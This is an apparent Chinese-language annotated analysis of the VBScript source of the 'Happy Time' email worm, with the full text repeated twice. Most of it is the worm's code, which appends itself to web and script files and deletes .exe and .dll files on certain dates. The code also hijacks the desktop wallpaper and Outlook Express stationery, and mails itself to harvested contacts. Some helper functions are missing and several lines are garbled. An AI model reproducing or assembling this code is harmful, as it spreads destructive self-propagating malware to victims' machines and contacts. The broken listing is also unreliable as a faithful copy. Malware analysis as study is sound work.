欢乐时光代码分析
作者： billlai 整理日期：2004年6月15日
*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
' 以上为病毒入口，并加上I am sorry! happy time的注释，以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
' 建立枚举对象，避开了安全审核
If IsHTML Then
' 调用IsHtml 函数，如果是Html ，就小写„„
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
' 如果mPath 为空，就在C 盘下生成Help.htm
Ihtml = ""
' 超文本的内容，并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
' 设置超时条件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
' 生成Help.hta
End If
End If
End If
Else
Main
' 都不是，就执行main 函数
End If
End Sub
'****************************************************************** ' 以下为主函数，太长了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
' 不用说，创建FileSystemObject 对象啦
Set Od = CreateObject("Scripting.Dictionary")
' 创建Dictionary 对象, 用来保存数据键和项目对，它实际上是一个比较开放的数组 Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
' 向Dictionary 对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
' 使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
' 如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
' 如果c:\help.htm存在，就删掉，消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
' 如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可） Od.R emoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
' 就清空Dictionary 数组，并将exe 、dll 加入Dictionary 对象，以备删除之用 End If
Cn = Rg(Ks & "Help\Count")
' 读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
' 如果Count 为0，就设为1
End If
Rw Ks & "Help\Count", Cn + 1
' 添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2
f1 = Rg(Ks & "Help\FileName")
' 再读HKEY_CURRENT_USER\Software\Help\FileName键值 f2 = FNext(Of, Od, f1)
' 得到该文件的文件名
fext = GetExt(Of, Od, f2)
' 得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2
' 添加键值
If IsDel(fext) Then
' 如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
' 储存文件名
f2 = FNext(Of, Od, f2)
' 得到文件的文件名？
Rw Ks & "Help\FileName", f2
' 写注册表
Of.DeleteFile f3
' 删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
' 如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
' 使用 Cint 函数强制执行转换，并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
' 比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
' 创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><
" & "/Body><" & "/HTML>" & mt
' 超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
' 将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
' 创建vbs 文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
' 创建windows 下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
' 在Hkey_Current_User＼Identities ＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software ＼Microsoft ＼Outlook Express ＼5.0＼Mail 下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name ，前两个的值为1，后一个指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
' 得到windows\web文件夹里的文件
Od.Add "htt", "1100"
' 向Dictionary 里添加htt 项目对
For Each m In gf
' 遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
' 得到每个文件的扩展名
If fext <> "" Then
' 如果扩展名不为空，则
Fw Of, m, fext
End If
Next
End If
End Sub
'******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染与否的标记 window.Close
End Sub
'****************************************************************** Sub Fw(Of, S, n)
' 此时S 为文件名，n 为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
' 只读模式打开该文件
mt = fc.ReadAll
' 读入全部文件流
fc.Close
' 关闭文件
If Not Sc(mt) Then
' 如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
' 打开文件并在文件末尾进行写操作
fc2.Write mt
fc2.Close
Msend (mmail)
' 发带毒邮件
End If
End Sub
'****************************************************************** Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
' 如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
' 表示已感染过，返回True, 否则为False
End If
End Function
'****************************************************************** Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
' 初始化变量
If Of.FileExists(S) Then
' 如果S 存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
' 得到文件的父目录名
fname = S
' 得到文件名
ElseIf Of.FolderExists(S) Then
' 不存在于当前文件夹中，则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
' 得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
' 得到当前目录下的所有文件对象
For Each m In gf
' 遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
' 如果该文件是文件集合中的一员
FNext = m
' 则返回该文件名，供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
' 如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) '
Loop
End Function
'****************************************************************** Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
' 如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders
' 就得到子目录数
pn = gp.Count
If pn = 0 Then
' 如果没子目录
Ppath = LCase(S) '
Npath = LCase(Of.GetParentFolderName(S))
' 得到父目录的小写形式
T = True
Else
Npath = LCase(S)
' 有子目录，得到其小写形式的集合
End If
Do While Not Er '
For Each pn In Of.GetFolder(Npath).SubFolders
' 得到子目录下的子目录
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
' 将字符串转化成小写
Npath = Of.GetParentFolderName(Npath) '
If Of.GetFolder(Ppath).IsRootFolder Then
' 如果是根目录
m = Of.GetDriveName(Ppath)
' 就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
'****************************************************************** Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
' 得到所有的驱动器盘符
For Each d In dc
' 遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
' 如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
' 如果是False ，就返回当前盘，并退出本函数
Else
If LCase(S) = LCase(d) Then
' 如果是True 且盘符相同，就令T 为True
T = True
End If
If m = "" Then
' 如果m 为空，就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m
' 返回盘符
End Function
'****************************************************************** Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
' 返回该文件扩展名的小写
GetExt = Od.Item(fext)
' 返回Dictionary 对象中指定的key 对应的item ——即0001(exe)等
End Function
'****************************************************************** Sub Rw(k, v)
' 写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
' 创建对象
R.RegWrite k, v
End Sub
'****************************************************************** Function Rg(v)
' 读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
' 创建对象
Rg = R.RegRead(v)
End Function
'******************************************************************
Function IsVbs()
' 此函数判断是不是VBS 文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
' 如果出错，则不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function
'****************************************************************** Function IsHTML()
' 此函数判断是不是Html 文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
' 如果出错，则不是超文本
Else
IsHTML = True
End If
End Function
'****************************************************************** Function IsMail(S)
' 此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
' 返回vbCrLf 在S 中第一次出现的位置, vbCrLf是换行符
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
' 如果有“@”符号且“@”在“." 之前，则是邮件地址
IsMail = True
End If
End If
End Function
'****************************************************************** Function Gsf()
' 得到windows 目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
' 创建FileSystemObject 对象
m = Of.GetSpecialFolder(0)
' 得到特殊目录——Windows 、System 和Temp 目录
If Er Then
' 如果失败，返回C:\
Gsf = "C:\"
Else
' 若正常，则返回%Windows%
Gsf = m
End If
End Function
'******************************************************************
Function Lhtml()
' 写入超文本的内容，其中vbCrLf 是换行符
Lhtml = "<" & "HTML" & ">"<" & "Tit le> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>End Function
'******************************************************************
Function Lscript(S)
' 写入vbscript 的声明
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
'******************************************************************
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
' 得到文件流的长度
l2 = Len(S2)
' 得到mailto:的长度
i = InStr(S1, S2)
' 在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then
' 找到则进行字符串操作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
'****************************************************************** Function Og()
' 得到WAB （通讯簿）中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
' 创建Outlook 应用程序对象，Outlook 和Outlook Express都跑不掉啦！ Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每个WAB 中的邮件地址
Next
Og = m
End Function
'****************************************************************** Sub Tsend()
' 发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.I tem(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
' 设置邮件标题
MM.RecipAddress = m
' 此邮件的当前的目标邮件地址
MM.AttachmentPathName = Gsf & "\Untitled.htm"
' 添加附件Windows\Untitled.htm
MM.Send
' 发送！
Next
MS.SignOff
End Sub
'******************************************************************
Function Er()
' 设置的错误陷阱，避免程序崩溃，严谨的风格值得学习
If Err.Number = 0 Then
Er = False
Else
Err .Clear
Er = True
End If
End Function
'****************************************************************** Function IsDel(S)
' 此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then
' 看S 的第四个字符是否是1——即是0001(exe和dll)
IsDel = True
' 如是，返回True ，以备删除
Else
IsDel = False
' 如不是，返回False
End If
End Function
'******************************************************************
欢乐时光代码分析
作者： billlai 整理日期：2004年6月15日
*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
' 以上为病毒入口，并加上I am sorry! happy time的注释，以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
' 建立枚举对象，避开了安全审核
If IsHTML Then
' 调用IsHtml 函数，如果是Html ，就小写„„
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
' 如果mPath 为空，就在C 盘下生成Help.htm
Ihtml = ""
' 超文本的内容，并指向C:\Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
' 设置超时条件
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
' 生成Help.hta
End If
End If
End If
Else
Main
' 都不是，就执行main 函数
End If
End Sub
'****************************************************************** ' 以下为主函数，太长了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
' 不用说，创建FileSystemObject 对象啦
Set Od = CreateObject("Scripting.Dictionary")
' 创建Dictionary 对象, 用来保存数据键和项目对，它实际上是一个比较开放的数组 Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
' 向Dictionary 对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
' 使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
' 如果是VBS
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
' 如果c:\help.htm存在，就删掉，消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
' 如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可） Od.R emoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
' 就清空Dictionary 数组，并将exe 、dll 加入Dictionary 对象，以备删除之用 End If
Cn = Rg(Ks & "Help\Count")
' 读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
If Cn = "" Then
Cn = 1
' 如果Count 为0，就设为1
End If
Rw Ks & "Help\Count", Cn + 1
' 添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2
f1 = Rg(Ks & "Help\FileName")
' 再读HKEY_CURRENT_USER\Software\Help\FileName键值 f2 = FNext(Of, Od, f1)
' 得到该文件的文件名
fext = GetExt(Of, Od, f2)
' 得到该文件扩展名的代号
Rw Ks & "Help\FileName", f2
' 添加键值
If IsDel(fext) Then
' 如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
' 储存文件名
f2 = FNext(Of, Od, f2)
' 得到文件的文件名？
Rw Ks & "Help\FileName", f2
' 写注册表
Of.DeleteFile f3
' 删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
' 如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
' 使用 Cint 函数强制执行转换，并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
' 比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
' 创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><
" & "/Body><" & "/HTML>" & mt
' 超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
' 将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
' 创建vbs 文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
' 创建windows 下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
' 在Hkey_Current_User＼Identities ＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software ＼Microsoft ＼Outlook Express ＼5.0＼Mail 下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name ，前两个的值为1，后一个指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
' 得到windows\web文件夹里的文件
Od.Add "htt", "1100"
' 向Dictionary 里添加htt 项目对
For Each m In gf
' 遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
' 得到每个文件的扩展名
If fext <> "" Then
' 如果扩展名不为空，则
Fw Of, m, fext
End If
Next
End If
End Sub
'******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!'写入I am sorry,并关闭。以此作为感染与否的标记 window.Close
End Sub
'****************************************************************** Sub Fw(Of, S, n)
' 此时S 为文件名，n 为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
' 只读模式打开该文件
mt = fc.ReadAll
' 读入全部文件流
fc.Close
' 关闭文件
If Not Sc(mt) Then
' 如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
' 打开文件并在文件末尾进行写操作
fc2.Write mt
fc2.Close
Msend (mmail)
' 发带毒邮件
End If
End Sub
'****************************************************************** Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
' 如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
' 表示已感染过，返回True, 否则为False
End If
End Function
'****************************************************************** Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
' 初始化变量
If Of.FileExists(S) Then
' 如果S 存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
' 得到文件的父目录名
fname = S
' 得到文件名
ElseIf Of.FolderExists(S) Then
' 不存在于当前文件夹中，则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
' 得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
' 得到当前目录下的所有文件对象
For Each m In gf
' 遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
' 如果该文件是文件集合中的一员
FNext = m
' 则返回该文件名，供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
' 如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) '
Loop
End Function
'****************************************************************** Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
' 如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders
' 就得到子目录数
pn = gp.Count
If pn = 0 Then
' 如果没子目录
Ppath = LCase(S) '
Npath = LCase(Of.GetParentFolderName(S))
' 得到父目录的小写形式
T = True
Else
Npath = LCase(S)
' 有子目录，得到其小写形式的集合
End If
Do While Not Er '
For Each pn In Of.GetFolder(Npath).SubFolders
' 得到子目录下的子目录
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
' 将字符串转化成小写
Npath = Of.GetParentFolderName(Npath) '
If Of.GetFolder(Ppath).IsRootFolder Then
' 如果是根目录
m = Of.GetDriveName(Ppath)
' 就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
'****************************************************************** Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
' 得到所有的驱动器盘符
For Each d In dc
' 遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
' 如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
' 如果是False ，就返回当前盘，并退出本函数
Else
If LCase(S) = LCase(d) Then
' 如果是True 且盘符相同，就令T 为True
T = True
End If
If m = "" Then
' 如果m 为空，就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m
' 返回盘符
End Function
'****************************************************************** Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
' 返回该文件扩展名的小写
GetExt = Od.Item(fext)
' 返回Dictionary 对象中指定的key 对应的item ——即0001(exe)等
End Function
'****************************************************************** Sub Rw(k, v)
' 写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
' 创建对象
R.RegWrite k, v
End Sub
'****************************************************************** Function Rg(v)
' 读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
' 创建对象
Rg = R.RegRead(v)
End Function
'******************************************************************
Function IsVbs()
' 此函数判断是不是VBS 文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
' 如果出错，则不是VBS
IsVbs = False
Else
IsVbs = True
End If
End Function
'****************************************************************** Function IsHTML()
' 此函数判断是不是Html 文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
' 如果出错，则不是超文本
Else
IsHTML = True
End If
End Function
'****************************************************************** Function IsMail(S)
' 此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
' 返回vbCrLf 在S 中第一次出现的位置, vbCrLf是换行符
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
' 如果有“@”符号且“@”在“." 之前，则是邮件地址
IsMail = True
End If
End If
End Function
'****************************************************************** Function Gsf()
' 得到windows 目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
' 创建FileSystemObject 对象
m = Of.GetSpecialFolder(0)
' 得到特殊目录——Windows 、System 和Temp 目录
If Er Then
' 如果失败，返回C:\
Gsf = "C:\"
Else
' 若正常，则返回%Windows%
Gsf = m
End If
End Function
'******************************************************************
Function Lhtml()
' 写入超文本的内容，其中vbCrLf 是换行符
Lhtml = "<" & "HTML" & ">"<" & "Tit le> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>End Function
'******************************************************************
Function Lscript(S)
' 写入vbscript 的声明
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
'******************************************************************
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
' 得到文件流的长度
l2 = Len(S2)
' 得到mailto:的长度
i = InStr(S1, S2)
' 在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then
' 找到则进行字符串操作
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
'****************************************************************** Function Og()
' 得到WAB （通讯簿）中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
' 创建Outlook 应用程序对象，Outlook 和Outlook Express都跑不掉啦！ Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
得到每个WAB 中的邮件地址
Next
Og = m
End Function
'****************************************************************** Sub Tsend()
' 发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.I tem(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
' 设置邮件标题
MM.RecipAddress = m
' 此邮件的当前的目标邮件地址
MM.AttachmentPathName = Gsf & "\Untitled.htm"
' 添加附件Windows\Untitled.htm
MM.Send
' 发送！
Next
MS.SignOff
End Sub
'******************************************************************
Function Er()
' 设置的错误陷阱，避免程序崩溃，严谨的风格值得学习
If Err.Number = 0 Then
Er = False
Else
Err .Clear
Er = True
End If
End Function
'****************************************************************** Function IsDel(S)
' 此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then
' 看S 的第四个字符是否是1——即是0001(exe和dll)
IsDel = True
' 如是，返回True ，以备删除
Else
IsDel = False
' 如不是，返回False
End If
End Function
'******************************************************************